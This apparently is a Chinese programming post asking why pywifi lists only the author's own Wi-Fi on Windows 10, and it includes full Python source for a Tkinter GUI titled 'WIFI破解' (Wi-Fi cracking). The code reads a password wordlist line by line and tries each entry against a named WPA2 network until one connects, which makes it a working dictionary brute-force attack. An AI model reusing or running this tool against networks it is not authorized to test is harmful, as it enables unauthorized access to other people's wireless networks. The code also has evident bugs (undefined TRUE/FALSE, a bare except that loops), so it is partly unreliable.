Python中Pywifi扫描不到附近wifi列表的疑问(待解决)
源代码
from tkinter import *
from pywifi import const
import pywifi
import time
# 导入模块
# 获取第一个无线网卡
# 断开所有的Wifi连接
# 读取密码字典
# 设置睡眠时间,有响应时间让其连接成功
#测试密码
def wificonnect(str,wifiname):
#创建无线对象
wifi = pywifi.PyWiFi()
#抓取第一个无线网卡
ifaces = wifi.interfaces()[0]
#断开所有wifi连接
ifaces.disconnect()
time.sleep(1)
#判断连接状态
if ifaces.status() == const.IFACE_DISCONNECTED:
#创建wifi连接文件
profile = pywifi.Profile()
#wifi名字
profile.ssid = wifiname
#wifi的加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#wifi的密码
profile.key = str
#网卡的开放状态
profile.auth = const.AUTH_ALG_OPEN
#删除所有的wifi连接文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile = ifaces.add_network_profile(profile)
#连接网络
ifaces.connect(tep_profile)
time.sleep(5)
if ifaces.status() == const.IFACE_CONNECTED:
return TRUE
else:
return FALSE
else:
print("已经连接")
#读取密码
def readPwd():
#获取WiFi名称
wifiname = entry.get()
path = r'D:\PythonDemo\wordlist.TXT'
file = open(path,"r")
while TRUE:
#捕获异常
try:
#读取密码本 一行一行读取
myStr = file.readline()
# print(myStr)
#测试连接
bool = wificonnect(myStr,wifiname) #调用wificonnect方法尝试密码
if bool:
text.insert(END, "密码正确" + myStr)
text.see(END)
text.update()
break
else:
text.insert(END,"密码错误"+myStr)
text.see(END)
text.update()
except:
#跳出当前循环 继续下一次循环
continue
#创建窗口
root = Tk()
#窗口标题
root.title("WIFI破解")
#窗口大小
# root.geometry('500x400')
#窗口位置
# root.geometry('+550+350')
root.geometry('640x460+550+350')
#标签控件
label = Label(root,text = "输入要破解的WiFi名称:")
#标签位置,定位 这里是网格式的布局 还有 pack 包布局 place 位置布局
label.grid(row = 0 , column = 0)
#输入控件
entry = Entry(root,font = ("微软雅黑",20))
entry.grid(row = 0,column = 1) #第0行第1列
#列表框控件
text = Listbox(root,font = ("微软雅黑",20),width = 40,height = 10)
text.grid(row = 1,columnspan = 2) #第1行,横跨了2列
#按钮控件
button = Button(root,text = "开始破解",width = 20,height = 2,command = readPwd) #触发readPwd
button.grid(row =2,column = 1)
#显示窗口 消息循环
root.mainloop()
只能扫描到已连接的自己的WIFI名称,无其他wifi列表,win10系统,待解决。